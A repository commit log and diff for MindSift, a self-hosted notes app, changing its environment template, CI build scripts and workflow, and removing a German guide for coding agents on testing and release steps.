14 Commits
Author SHA1 Message Date
sandrodachandClaude Opus 5.5 8052142f40 Merge branch 'dev': v0.5
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m45s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 16:54:11 +01:00
sandrodachandClaude Opus 5.5 35021a7352 Merge branch 'dev': nested demo note
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 8s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 09:14:33 +01:00
sandrodachandClaude Opus 5.5 99b802e96a Merge branch 'dev': version 0.4.1
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 8s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 09:07:18 +01:00
sandrodachandClaude Opus 5.5 9f3ad841bd Merge branch 'dev': Polarized and Suri themes
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m30s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 08:42:18 +01:00
sandrodachandClaude Opus 5.5 52de2d09c1 Merge branch 'dev': due times & alarms, notes trash, backlinks, password reset, offline PWA, security fixes, file split
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 8s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 08:17:37 +01:00
sandrodachandClaude Opus 5.5 c239358897 Merge dev into main for v0.4
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m34s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 07:30:10 +01:00
sandrodachandClaude Opus 5.5 79643d34f2 Merge dev into main
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 7s
Repeating tasks.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 07:23:11 +01:00
sandrodachandClaude Opus 5.5 9eb26bc563 Merge dev into main
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 9s
Danger zone and restore import, SMTP port fix, PWA splash screen,
larger API key field on phones.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 07:13:31 +01:00
sandrodachandClaude Opus 5.5 7daa7aaae1 Merge dev into main
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 7s
Backup as ZIP, no more schema wipe on start, mobile sheets above the
keyboard, emoji picker fixes, cleaner mobile header.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 06:46:19 +01:00
sandrodachandClaude Opus 5.5 b71f044e08 Merge dev into main
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 8s
SMTP AUTH LOGIN fallback, import of MindSift data and Obsidian vaults.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 06:12:37 +01:00
sandrodachandClaude Opus 5.5 68ab138606 Merge dev into main for v0.3
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m23s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 00:07:20 +01:00
sandrodachandClaude Opus 5.5 5f51637c78 Merge dev into main
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 8s
Organizations & visibility, task assignment, custom themes, SMTP hardening,
CountBadge, legal notices, Markdown export, help page, global search,
emoji picker, demo reset.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-28 23:28:03 +01:00
sandrodach 9eeb32f085 Merge pull request 'feat(ui): one CountBadge for all counters; counters on tab corners' (#11) from dev into main
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 7s
Reviewed-on: #11
2026-10-28 22:56:42 +01:00
sandrodach e74661e0c7 Merge pull request 'Dev' (#10) from dev into main
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 9s
Reviewed-on: #10
2026-10-28 22:46:13 +01:00
332 changed files with 3623 additions and 36600 deletions

No files matched your search

+10 -145
View File
@@ -1,162 +1,27 @@
# MindSift – Einstellungen
# Kopieren nach .env (cp .env.example .env) und anpassen; docker-compose.yml liest die Werte von dort.
# Leer gelassene Werte nehmen den Standard aus docker-compose.yml. Nach Änderungen: docker compose up -d
# ─── Grundeinstellungen ────────────────────────────────────────────────────────────────────────────
# Port auf dem Host, unter dem MindSift erreichbar ist (im Container immer 8080).
# MindSift Environment Configuration
PORT=8080
# Geheimer Schlüssel für die Anmeldung, mindestens 32 zufällige Zeichen, z. B. von: openssl rand -hex 32
# Bekannte Beispielwerte (wie dieser) werden ignoriert; dann erzeugt MindSift selbst einen und legt ihn in data/ ab.
DATA_DIR=/data
DATABASE_URL=sqlite:///data/mindsift.db
JWT_SECRET=change_this_to_a_secure_random_key_min_32_chars
# Öffentliche Adresse der Instanz, so wie sie im Browser aufgerufen wird. Wird für Links in E-Mails
# (Passwort zurücksetzen) gebraucht und beschränkt, von welcher Adresse Live-Verbindungen kommen dürfen.
BASE_URL=http://localhost:8080
# Zeitzone für Fälligkeiten und Alarme (Standard Europe/Berlin).
TZ=Europe/Berlin
# Registrierung ohne Einladung. Ohne Angabe entscheidet Administration → Server & Isolation.
# Gesetzt ist es dort gesperrt:
# closed nur mit Einladung
# approval jeder darf sich registrieren, ein Admin schaltet frei
# domain nur E-Mail-Adressen aus REGISTRATION_DOMAINS, sofort aktiv
# domain+approval diese Endungen sofort, alle anderen nach Freigabe
# open jeder, sofort aktiv
# REGISTRATION_MODE=approval
# REGISTRATION_DOMAINS=firma.de, familie.de
# Neue Konten ohne Einladung bestätigen zuerst ihre E-Mail-Adresse per Link (braucht SMTP und BASE_URL):
# REGISTRATION_VERIFY_EMAIL=true
# Alt: true entspricht REGISTRATION_MODE=open; false lässt die Wahl dem Admin.
ALLOW_REGISTRATION=false
# Aufbewahrung: Darf jede Person „nie“ wählen, also Erledigtes und Gelöschtes dauerhaft behalten?
# false = nein (es gilt die Voreinstellung des Bereichs, z. B. 30 Tage), true = ja. Ohne Angabe
# entscheidet Administration → Server & Isolation (Standard: erlaubt).
# RETENTION_ALLOW_NEVER=false
# ─── Sicherheit ────────────────────────────────────────────────────────────────────────────────────
# Wessen Angaben zur Besucher-Adresse (X-Forwarded-For / X-Real-IP) geglaubt werden. Wichtig für die
# Login-Sperre hinter einem Reverse-Proxy.
# private Proxys im lokalen Netz, Docker-Netz oder Tailscale (Standard, passt für die meisten Setups)
# none keinem Proxy glauben (MindSift direkt im Internet)
# all jedem glauben (schaltet die Prüfung ab)
# Liste zusätzlich eigene Adressen, z. B. private,203.0.113.0/24 (Cloudflare und andere externe Proxys)
TRUSTED_PROXIES=private
# Sperre nach Fehlversuchen beim Login und Limits für Registrierung und „Passwort vergessen“.
# false schaltet beides ab (nur sinnvoll, wenn ein vorgeschalteter Dienst das übernimmt).
LOGIN_PROTECTION=true
# ─── Protokoll ─────────────────────────────────────────────────────────────────────────────────────
# Wie ausführlich das Container-Log ist: debug, info, warn oder error.
# Logging level: debug, info, warn, error (Default: info)
LOG_LEVEL=info
# true = ausführliches Protokoll aller Anfragen und der Synchronisation (wie LOG_LEVEL=debug).
DEBUG=false
# LOG_LEVEL=debug
# DEBUG=true
# ─── Demo ──────────────────────────────────────────────────────────────────────────────────────────
# true = öffentliche Demo: legt die Konten admin/admin und user/user mit Beispieldaten an. Die Demo
# verschickt nichts (keine Mails, Webhooks, Alarme) und schützt die gemeinsam genutzten Konten.
MINDA_DEMO=false
# Nur in der Demo: alle so viele Minuten auf die Beispieldaten zurücksetzen (0 = nie).
DEMO_RESET_MINUTES=20
# ─── E-Mail (optional) ─────────────────────────────────────────────────────────────────────────────
# Für Alarm-Mails und „Passwort vergessen“. Lässt sich alternativ in Administration → E-Mail einstellen;
# Werte dort haben Vorrang.
# Mailserver, z. B. smtp.example.com. Leer = kein Mailversand.
# Optional SMTP Server Configuration for Email Alarms (can also be set in Admin Settings UI)
SMTP_HOST=
# 587 (STARTTLS) oder 465 (TLS ab Verbindungsbeginn).
SMTP_PORT=587
# Anmeldung am Mailserver; leer, wenn der Server keine verlangt.
SMTP_USER=
SMTP_PASS=
# Absenderadresse, z. B. noreply@example.com. Leer = SMTP_USER bzw. noreply@mindsift.local.
SMTP_FROM=
# Name, den Mailprogramme als Absender zeigen (wenn SMTP_FROM nur eine Adresse ist).
# Ein Name direkt in SMTP_FROM ("Mein Dienst <noreply@example.com>") hat Vorrang.
SMTP_FROM_NAME=MindSift
# Benachrichtigungen (Freigaben, beobachtete Aufgaben …) werden gesammelt und höchstens alle so viele
# Minuten als eine Nachricht verschickt. Fällige Aufgaben kommen immer sofort.
NOTIFY_DIGEST_MINUTES=5
# true = nur verschlüsselt senden.
SMTP_FROM=noreply@mindsift.local
SMTP_TLS=true
# true = selbstsignierte Zertifikate akzeptieren (nur für interne Mailserver).
# Only for internal mail servers with self-signed certificates
SMTP_SKIP_VERIFY=false
# Web-Push (Benachrichtigungen auf Handy und Desktop, auch bei geschlossener App).
# Ohne Angabe erzeugt MindSift beim ersten Bedarf ein Schlüsselpaar und speichert es in der Datenbank.
# VAPID_SUBJECT: Kontakt für die Push-Dienste (mailto: oder https://); Standard ist BASE_URL, wenn https.
# VAPID_PUBLIC_KEY=
# VAPID_PRIVATE_KEY=
# VAPID_SUBJECT=mailto:admin@example.com
# ─── Impressum und Datenschutz (optional) ──────────────────────────────────────────────────────────
# Werden auf der Anmeldeseite und in den Einstellungen verlinkt. Entweder als Link auf eine externe
# Seite (nur http/https) oder als Markdown-Text, direkt hier oder als Datei (per Volume einbinden).
# Ohne Angaben bleiben die Links unsichtbar.
# Optional legal notices: external link and/or Markdown (inline or as file path)
LEGAL_IMPRINT_URL=
LEGAL_PRIVACY_URL=
LEGAL_IMPRINT_CONTENT=
LEGAL_PRIVACY_CONTENT=
# Pfad im Container, z. B. /legal/impressum.md
LEGAL_IMPRINT_CONTENT_FILE=
LEGAL_PRIVACY_CONTENT_FILE=
# Eigener Link im Footer (nur https://)
LEGAL_CUSTOM_LINK_LABEL=
LEGAL_CUSTOM_LINK_URL=
# ─── Bilder und Audio in Notizen ───────────────────────────────────────────────────────────────────
# Dateien liegen in data/media/ und sind nur für Personen sichtbar, die die Notiz lesen dürfen. Nicht mehr
# verwendete Dateien räumt MindSift nach einem Tag selbst weg.
# Größtes Bild in MB (der Browser verkleinert Fotos vorher auf höchstens 2048 Pixel).
MEDIA_MAX_IMAGE_MB=15
# Größte Audiodatei in MB (Sprachnotiz oder hochgeladene Datei).
MEDIA_MAX_AUDIO_MB=50
# Speicherplatz für Medien pro Person in MB; 0 = unbegrenzt.
MEDIA_QUOTA_MB=0
# Nur in der Demo: größte Datei in MB (Dateien verschwinden beim Demo-Reset).
MEDIA_DEMO_MAX_MB=3
# ─── Spracherkennung (optional) ────────────────────────────────────────────────────────────────────
# Ohne STT_URL nutzt MindSift die Spracherkennung des Browsers (Chrome, Edge, Safari; die Aufnahme geht
# dabei an Google, Microsoft bzw. Apple). Mit eigenem Whisper-Server bleibt alles auf deinem Server und
# es funktioniert in allen Browsern. Dazu den Block „whisper“ in docker-compose.yml einkommentieren
# (Anleitung steht dort). Fehler stehen im Log: docker compose logs mindsift whisper
# Adresse des Whisper-Servers (OpenAI-kompatibel, z. B. speaches). Gesetzt = Server-Modus.
STT_URL=
# Modell: deepdml/faster-whisper-large-v3-turbo-ct2 (beste Erkennung, ca. 2 GB RAM, langsamer)
# Systran/faster-whisper-small (ca. 1 GB RAM, deutlich schneller, kleine Fehler)
STT_MODEL=deepdml/faster-whisper-large-v3-turbo-ct2
# Sprachcode, z. B. de oder en; auto = automatisch erkennen.
STT_LANGUAGE=de
# Nur falls der Whisper-Server einen Schlüssel verlangt (bei speaches: dessen API_KEY).
STT_API_KEY=
# true = Mikrofon überall ausblenden, auch die Browser-Erkennung.
STT_DISABLED=false
# false = die Spracherkennung des Browsers ist verboten (Chrome/Edge schicken die Aufnahme an Google
# bzw. Microsoft). Mit Whisper-Server entfällt dann die Auswahl Whisper/Browser in den Kontoeinstellungen;
# ohne Whisper-Server gibt es dann keine Spracheingabe.
STT_ALLOW_BROWSER=true
# Schutzwerte für den Server-Modus
# Längste Aufnahme in Sekunden; danach beendet der Browser die Aufnahme selbst.
STT_MAX_SECONDS=600
# Größte Aufnahme in MB.
STT_MAX_UPLOAD_MB=25
# Wie viele Erkennungen gleichzeitig laufen; weitere warten in der Schlange. 1 schont schwache CPUs.
STT_MAX_PARALLEL=1
# Erkennungen pro Person und Stunde.
STT_PER_USER_PER_HOUR=60
# Höchstdauer einer Erkennung in Sekunden, Warten in der Schlange eingeschlossen.
STT_TIMEOUT_SECONDS=120
# Bittet den Whisper-Server, Stille zu überspringen (weniger erfundene Wiederholungen); false, falls der Server das Feld ablehnt.
STT_VAD_FILTER=true
-91
View File
@@ -1,91 +0,0 @@
#!/usr/bin/env bash
# Decides per CI run: build with tests, build without tests, or only retag an existing image.
# Tests run once per code state: the images carry the git tree and commit as labels
# (io.mindsift.tree, org.opencontainers.image.revision), so no extra image tags are needed.
# dev -> build and test, tag :dev
# main -> build :latest; tests are skipped when :dev was built from the same tree
# v* -> retag :latest when it was built from this commit, else build (tests skipped when
# :dev or :latest has the same tree); :stable only for releases without "-"
# Inputs (environment): REF, COMMIT (default HEAD), IMAGE, PKG_VERSION (default from package.json),
# LABEL_CMD (prints a label of a remote image: LABEL_CMD <image> <label>; for tests)
set -euo pipefail
REF="${REF:-}"
COMMIT="${COMMIT:-HEAD}"
IMAGE="${IMAGE:-}"
PKG_VERSION="${PKG_VERSION:-}"
if [ -z "${PKG_VERSION}" ] && [ -f frontend/package.json ]; then
PKG_VERSION="$(sed -nE 's/^ "version": "([^"]+)".*/\1/p' frontend/package.json | head -n1)"
fi
SHA="$(git rev-parse "${COMMIT}^{commit}")"
TREE="$(git rev-parse "${COMMIT}^{tree}")"
# Label of an image in the registry ("" when the image or label does not exist)
image_label() {
if [ -n "${LABEL_CMD:-}" ]; then
${LABEL_CMD} "$1" "$2" 2>/dev/null || true
return
fi
docker pull -q "$1" >/dev/null 2>&1 || return 0
docker inspect -f "{{ index .Config.Labels \"$2\" }}" "$1" 2>/dev/null | sed 's/^<no value>$//' || true
}
ACTION="build"
SKIP_TESTS="0"
APP_VERSION=""
TAGS=""
SOURCE_IMAGE=""
REASON=""
case "${REF}" in
refs/heads/dev)
TAGS="dev"
REASON="dev: build with all tests"
;;
refs/heads/main)
TAGS="latest"
APP_VERSION="v${PKG_VERSION}"
if [ -n "${IMAGE}" ] && [ "$(image_label "${IMAGE}:dev" io.mindsift.tree)" = "${TREE}" ]; then
SKIP_TESTS="1"
REASON="main: same code as the tested :dev image, tests skipped"
else
REASON="main: code not tested as :dev yet, build with all tests"
fi
;;
refs/tags/v*)
TAG_NAME="${REF#refs/tags/}"
TAGS="${TAG_NAME}"
case "${TAG_NAME}" in *-*) ;; *) TAGS="${TAG_NAME} stable" ;; esac
if [ -n "${IMAGE}" ] && [ "$(image_label "${IMAGE}:latest" org.opencontainers.image.revision)" = "${SHA}" ]; then
ACTION="retag"
SOURCE_IMAGE="${IMAGE}:latest"
SKIP_TESTS="1"
REASON="tag ${TAG_NAME}: :latest was built from this commit, retag without building"
else
APP_VERSION="${TAG_NAME}"
if [ -n "${IMAGE}" ] && { [ "$(image_label "${IMAGE}:dev" io.mindsift.tree)" = "${TREE}" ] ||
[ "$(image_label "${IMAGE}:latest" io.mindsift.tree)" = "${TREE}" ]; }; then
SKIP_TESTS="1"
REASON="tag ${TAG_NAME}: code already tested, build without tests"
else
REASON="tag ${TAG_NAME}: build with all tests"
fi
fi
;;
*)
TAGS="$(echo "${REF#refs/heads/}" | sed 's#/#-#g' | tr '[:upper:]' '[:lower:]')"
REASON="branch ${REF}: build with all tests"
;;
esac
{
echo "action=${ACTION}"
echo "skip_tests=${SKIP_TESTS}"
echo "app_version=${APP_VERSION}"
echo "tags=${TAGS}"
echo "source_image=${SOURCE_IMAGE}"
echo "sha=${SHA}"
echo "tree=${TREE}"
echo "reason=${REASON}"
} | tee -a "${GITHUB_OUTPUT:-/dev/null}"
-51
View File
@@ -1,51 +0,0 @@
#!/usr/bin/env bash
# Checks build-plan.sh against a fake registry (labels given per case). Usage: .gitea/scripts/test-build-plan.sh
set -euo pipefail
cd "$(git rev-parse --show-toplevel)"
PLAN=.gitea/scripts/build-plan.sh
IMAGE=registry.example/mindsift
SHA="$(git rev-parse HEAD)"
TREE="$(git rev-parse HEAD^{tree})"
MOCK="$(mktemp)"
trap 'rm -f "$MOCK"' EXIT
# The fake registry answers from $DEV_TREE, $LATEST_TREE and $LATEST_SHA
cat >"$MOCK" <<'EOF'
#!/usr/bin/env bash
case "$1 $2" in
*:dev\ io.mindsift.tree) echo "${DEV_TREE:-}" ;;
*:latest\ io.mindsift.tree) echo "${LATEST_TREE:-}" ;;
*:latest\ org.opencontainers.image.revision) echo "${LATEST_SHA:-}" ;;
esac
EOF
chmod +x "$MOCK"
fails=0
expect() { # name, REF, expected "action skip_tests tags", env assignments…
local name="$1" ref="$2" want="$3"
shift 3
local out
out="$(env "$@" REF="$ref" IMAGE="$IMAGE" PKG_VERSION=0.10.0 LABEL_CMD="$MOCK" GITHUB_OUTPUT= "$PLAN")"
local got
got="$(echo "$out" | sed -n 's/^action=//p') $(echo "$out" | sed -n 's/^skip_tests=//p') $(echo "$out" | sed -n 's/^tags=//p')"
if [ "$got" = "$want" ]; then
echo "OK $name: $got"
else
echo "FEHL $name: erwartet '$want', bekommen '$got'"
fails=$((fails + 1))
fi
}
expect "dev baut mit Tests" refs/heads/dev "build 0 dev"
expect "main nach getestetem dev" refs/heads/main "build 1 latest" DEV_TREE="$TREE"
expect "main mit anderem Stand" refs/heads/main "build 0 latest" DEV_TREE=0000
expect "Tag auf latest-Commit" refs/tags/v0.10.0 "retag 1 v0.10.0 stable" LATEST_SHA="$SHA" LATEST_TREE="$TREE"
expect "Tag, latest fehlt, dev getestet" refs/tags/v0.10.0 "build 1 v0.10.0 stable" DEV_TREE="$TREE"
expect "Tag auf unbekanntem Stand" refs/tags/v0.10.0 "build 0 v0.10.0 stable"
expect "Vorabversion ohne stable" refs/tags/v0.11.0-rc.1 "retag 1 v0.11.0-rc.1" LATEST_SHA="$SHA"
expect "Feature-Branch" refs/heads/feat/x "build 0 feat-x"
if [ "$fails" -gt 0 ]; then
echo "$fails FEHLGESCHLAGEN"
exit 1
fi
echo "ALLE FÄLLE BESTANDEN"
+36 -32
View File
@@ -4,10 +4,6 @@ name: MindSift CI & Docker Release
# push to dev -> :dev
# push/merge main -> :latest
# git tag v1.2.0 -> :v1.2.0 and :stable
# git tag v1.2.0-rc.1 (pre-release) -> :v1.2.0-rc.1 only, :stable stays
# Tests run once per code state (.gitea/scripts/build-plan.sh): main skips them when :dev was built
# from the same code, a tag on the commit of :latest only retags it. The images carry commit and git
# tree as labels for this, so no extra tags end up in the registry.
on:
push:
branches:
@@ -24,16 +20,42 @@ jobs:
- name: Checkout Code
uses: actions/checkout@v4
- name: Determine Registry & Image
- name: Determine Registry & Docker Tag
id: prep
run: |
SERVER_URL="${GITHUB_SERVER_URL:-https://git.dsit.me}"
REGISTRY_HOST=$(echo "${SERVER_URL}" | sed -E 's#^https?://##' | sed 's#/$##')
[ -z "${REGISTRY_HOST}" ] && REGISTRY_HOST="git.dsit.me"
if [ -z "${REGISTRY_HOST}" ]; then
REGISTRY_HOST="git.dsit.me"
fi
REPO_PATH="${GITHUB_REPOSITORY:-sandrodach/mindsift}"
IMAGE_NAME=$(echo "${REGISTRY_HOST}/${REPO_PATH}" | tr '[:upper:]' '[:lower:]')
REF_NAME="${GITHUB_REF_NAME:-latest}"
ACTOR_NAME="${GITHUB_ACTOR:-sandrodach}"
# Ersetze evtl. Slashes in Branch-Namen (z.B. rc/1.1 -> rc-1.1) für valide Docker-Tags
DOCKER_TAG=$(echo "${REF_NAME}" | sed 's#/#-#g' | tr '[:upper:]' '[:lower:]')
# All tags of this run (space separated)
case "${GITHUB_REF:-}" in
refs/tags/*) TAGS="${DOCKER_TAG} stable" ;;
refs/heads/main) TAGS="latest" ;;
*) TAGS="${DOCKER_TAG}" ;;
esac
echo "registry=${REGISTRY_HOST}" >> "$GITHUB_OUTPUT"
echo "image=$(echo "${REGISTRY_HOST}/${REPO_PATH}" | tr '[:upper:]' '[:lower:]')" >> "$GITHUB_OUTPUT"
echo "actor=${GITHUB_ACTOR:-sandrodach}" >> "$GITHUB_OUTPUT"
echo "image=${IMAGE_NAME}" >> "$GITHUB_OUTPUT"
echo "tag=${TAGS%% *}" >> "$GITHUB_OUTPUT"
echo "tags=${TAGS}" >> "$GITHUB_OUTPUT"
echo "actor=${ACTOR_NAME}" >> "$GITHUB_OUTPUT"
# Releases (tags) show the tag as version in the app header
APP_VERSION=""
case "${GITHUB_REF:-}" in
refs/tags/*) APP_VERSION="${REF_NAME}" ;;
esac
echo "app_version=${APP_VERSION}" >> "$GITHUB_OUTPUT"
echo "Target Docker image: ${IMAGE_NAME} tags: ${TAGS} (Registry: ${REGISTRY_HOST}, Actor: ${ACTOR_NAME})"
- name: Login to Gitea Container Registry
uses: docker/login-action@v3
@@ -42,30 +64,12 @@ jobs:
username: ${{ steps.prep.outputs.actor }}
password: ${{ secrets.PUSH_TOKEN || secrets.GITEA_TOKEN || github.token }}
- name: Build Plan
id: plan
run: REF="${GITHUB_REF:-}" COMMIT="${GITHUB_SHA:-HEAD}" IMAGE="${{ steps.prep.outputs.image }}" .gitea/scripts/build-plan.sh
- name: Build (with or without tests) or Retag, then Push
- name: Build & Run All Checks in Container, then Push
run: |
IMAGE="${{ steps.prep.outputs.image }}"
TAGS="${{ steps.plan.outputs.tags }}"
echo "ℹ️ ${{ steps.plan.outputs.reason }}"
if [ "${{ steps.plan.outputs.action }}" = "retag" ]; then
SOURCE="${{ steps.plan.outputs.source_image }}"
docker pull "${SOURCE}"
for t in ${TAGS}; do
docker tag "${SOURCE}" "${IMAGE}:${t}"
docker push "${IMAGE}:${t}"
done
else
TAG_ARGS=""
for t in ${TAGS}; do TAG_ARGS="${TAG_ARGS} -t ${IMAGE}:${t}"; done
DOCKER_BUILDKIT=1 docker build --progress=plain \
--build-arg APP_VERSION="${{ steps.plan.outputs.app_version }}" \
--build-arg SKIP_TESTS="${{ steps.plan.outputs.skip_tests }}" \
--build-arg GIT_SHA="${{ steps.plan.outputs.sha }}" \
--build-arg GIT_TREE="${{ steps.plan.outputs.tree }}" \
${TAG_ARGS} .
for t in ${TAGS}; do docker push "${IMAGE}:${t}"; done
fi
for t in ${{ steps.prep.outputs.tags }}; do TAG_ARGS="${TAG_ARGS} -t ${IMAGE}:${t}"; done
echo "🚀 Building container & executing Frontend/Backend checks inside image: ${IMAGE} (tags: ${{ steps.prep.outputs.tags }})"
DOCKER_BUILDKIT=1 docker build --progress=plain --build-arg APP_VERSION="${{ steps.prep.outputs.app_version }}" ${TAG_ARGS} .
echo "✅ All checks & tests passed inside container! Pushing..."
for t in ${{ steps.prep.outputs.tags }}; do docker push "${IMAGE}:${t}"; done
-3
View File
@@ -18,6 +18,3 @@ dev-data/
.idea/
.vscode/
e2e/node_modules/
# Whisper models (docker compose service "whisper")
whisper/
-91
View File
@@ -1,91 +0,0 @@
# Hinweise für Coding-Agenten
Regeln für die Arbeit an MindSift, die nicht aus dem Code selbst hervorgehen. Aufbau und Technik stehen in [Doku/](Doku/README.md), vor allem [architecture.md](Doku/architecture.md).
## Zuständigkeit
- **Die Website (Repo `MindSift-Website`) betreut ein anderer Agent.** Agenten, die an MindSift arbeiten, ändern dort nichts: keine Dateien, keine Commits, kein Push, auch nicht bei Änderungen wie Lizenz oder Funktionsnamen, die die Seite betreffen. Solche Punkte stattdessen dem Nutzer melden.
## Sprache und Stil
- **Deutsch:** Oberflächentexte, Fehlermeldungen für Nutzer, E-Mails, `CHANGELOG.md`, `README.md`, `Doku/`.
- **Englisch:** Code-Kommentare und Commit-Nachrichten.
- **Commit-Nachrichten** im Stil `feat(bereich): …`, `fix(bereich): …`, `docs: …`, `style(bereich): …`. Am Ende die Zeile `Co-Authored-By: …` des jeweiligen Agenten.
- Neuer Code richtet sich nach dem umgebenden Code: Benennung, Kommentardichte, vorhandene Helfer statt neuer Varianten.
## Umgebung
Auf dem Entwicklungsrechner sind weder Node noch Go installiert. Alles läuft in Containern (podman):
```bash
# Frontend: Typen, Lint, Tests
podman run --rm -v "$PWD/frontend":/app:Z -w /app docker.io/library/node:22-alpine \
sh -c "npx tsc --noEmit && npx eslint src/… && npx vitest run"
# Backend: vet und Tests
podman run --rm -v "$PWD":/src:Z -w /src docker.io/library/golang:1.24-alpine \
sh -c "go vet ./... && go test ./internal/..."
```
Die Linter-Warnungen `react-hooks/exhaustive-deps` gibt es schon länger; neuer Code soll keine zusätzlichen Warnungen bringen.
## Prüfen während der Arbeit
- **Gezielt prüfen:** `tsc`, die betroffenen Frontend-Tests, `go vet` und `go test`. Den vollen Build macht nur der Server (siehe Release-Ablauf); ein kompletter `podman build .` vorher ist doppelte Arbeit.
- **Oberfläche im Browser ansehen**, besonders Handy-Ansichten: Image bauen, im Demo-Modus starten, mit Playwright aus dem `e2e/`-Ordner prüfen (Vorbild: `e2e/screenshots.sh`). Handy-Emulation mit `isMobile: true, hasTouch: true`; Finger-Gesten lassen sich über das Chrome DevTools Protocol (`Input.dispatchTouchEvent`) nachstellen.
```bash
podman build -q -t mindsift-check .
podman run -d --rm --name ms-check --network host -e PORT=18555 -e MINDA_DEMO=true \
-e DEMO_RESET_MINUTES=0 -e JWT_SECRET=check-only mindsift-check
# Demo-Anmeldung: admin/admin bzw. user/user
```
- **Zeitabhängiger Code** (Alarme, Tageszusammenfassung, Begrüßungen, Termine): nie `time.Now()` dort, wo eine übergebene Zeit gemeint ist. Die betroffenen Go-Tests zusätzlich mit verschiedenen `TZ`-Werten laufen lassen (z. B. `Europe/Berlin`, `America/Los_Angeles`, `Asia/Tokyo`). Ein uhrzeitabhängiger Test hat schon einmal einen Release verhindert, weil er nur vormittags grün war.
## Screenshots
- Bilder in `screenshots/` (README) sind **WebP**, keine PNG: Desktop und Theme-Raster 1280 px breit, Handy 480 px, Qualität 90. Das bringt rund ein Fünftel der PNG-Größe bei sauberer Schrift.
- Erzeugt werden sie mit `e2e/screenshots.sh`; das Skript nimmt PNGs auf und wandelt sie am Ende mit `cwebp` (Alpine-Container) um. Einzelne Bilder neu aufnehmen: denselben Ablauf aus `screenshots.mjs` verwenden und mit dem Umwandlungsschritt aus `screenshots.sh` konvertieren.
- Chromiums eigenes WebP (`canvas.toDataURL('image/webp')`) nicht verwenden: verlustfrei wird es größer als die PNG.
## Release-Ablauf
**Committen** ist jederzeit erlaubt. **Jeder Push ist ein Release**, also mit Version und CHANGELOG-Eintrag.
1. **Version erhöhen** (SemVer: Fehlerbehebung → Patch, neue Funktion → Minor):
- `frontend/package.json` (Feld `version`)
- `frontend/package-lock.json`: nur die beiden Versionszeilen von MindSift selbst (Zeile 3 und 9), nicht die gleichlautenden Versionen von Abhängigkeiten
- Versions-Badge oben in `README.md`
2. **CHANGELOG:** neuer Abschnitt `## [x.y.z] - JJJJ-MM-TT` unter `## [Unreleased]` (Format *Keep a Changelog*, Abschnitte Added/Changed/Fixed), unten die Vergleichslinks `[Unreleased]` und `[x.y.z]` anpassen. Einträge auf Deutsch und aus Sicht der Nutzer.
3. **Doku nachziehen**, wenn sich Verhalten oder API ändern (`README.md`, `Doku/api/rest.md`, `Doku/architecture.md`).
4. Committen, dann **nur nach `dev` pushen**.
5. **Warten, bis der `dev`-Build auf dem Server grün ist.** Schlägt er fehl: auf `dev` beheben, nicht nach `main` mergen.
6. Nach `main` mergen (`git merge --no-ff dev -m "Merge dev into main (vx.y.z)"`) und pushen.
7. **Warten, bis der `main`-Build grün ist.** Erst dann gilt das Release als draußen.
Ist ein Release nie gebaut worden (CI fehlgeschlagen), bleibt die Versionsnummer, und die Korrektur kommt in denselben CHANGELOG-Abschnitt.
**Git-Tags nur auf ausdrücklichen Wunsch.** Tags lassen zusätzliche Images bauen; genutzt werden nur `:dev` und `:latest`. Wenn gewünscht: `git tag -a vx.y.z -m "MindSift vx.y.z"` auf den Merge-Commit in `main` und den Tag pushen.
Fremde Branches (z. B. von anderen Agenten) werden vor dem Mergen geprüft.
### CI auf dem Git-Server
- Workflow: `.gitea/workflows/build-and-publish.yaml`, Entscheidung in `.gitea/scripts/build-plan.sh`.
- `dev` → Image `:dev`, mit allen Tests (Dockerfile: tsc, Lint, Frontend-Tests, `go vet`, Go-Tests).
- `main` → Image `:latest` mit `APP_VERSION=v<package.json-Version>`; überspringt die Tests, wenn `:dev` aus demselben Code gebaut wurde. Deshalb erst nach grünem `dev`-Build mergen.
- Tag `v*` → `:vx.y.z` und `:stable`.
- Status der letzten Läufe:
```bash
curl -s "https://git.dsit.me/api/v1/repos/sandrodach/MindSift/actions/tasks?limit=4"
# workflow_runs[].head_branch / .status (success|failure|…) / .display_title
```
## Oberfläche
- **Einheitliche Bedienelemente:** Personen-Suche, Profilbild-Stapel, Zähler und weitere Muster stehen in [Doku/ui-patterns.md](Doku/ui-patterns.md). Vorhandene Komponenten verwenden statt neuer Varianten; neue gemeinsame Muster dort ergänzen.
- **Handy und Desktop:** Unter `sm` ist Handy-Layout, ab `lg` die volle Desktop-Ansicht (z. B. Seitenleiste neben der Notiz). `sm` liegt bei **768 px**, nicht bei Tailwinds 640 px (Handys quer und kleine Tablets bekommen das Handy-Layout); `md` ist gleich `sm`. Im Code dafür `isPhoneWidth()` aus `lib/breakpoints.ts` verwenden, keine feste Pixelzahl. Wird nur das Handy geändert, bleiben die Werte ab `sm`/`lg` exakt wie vorher.
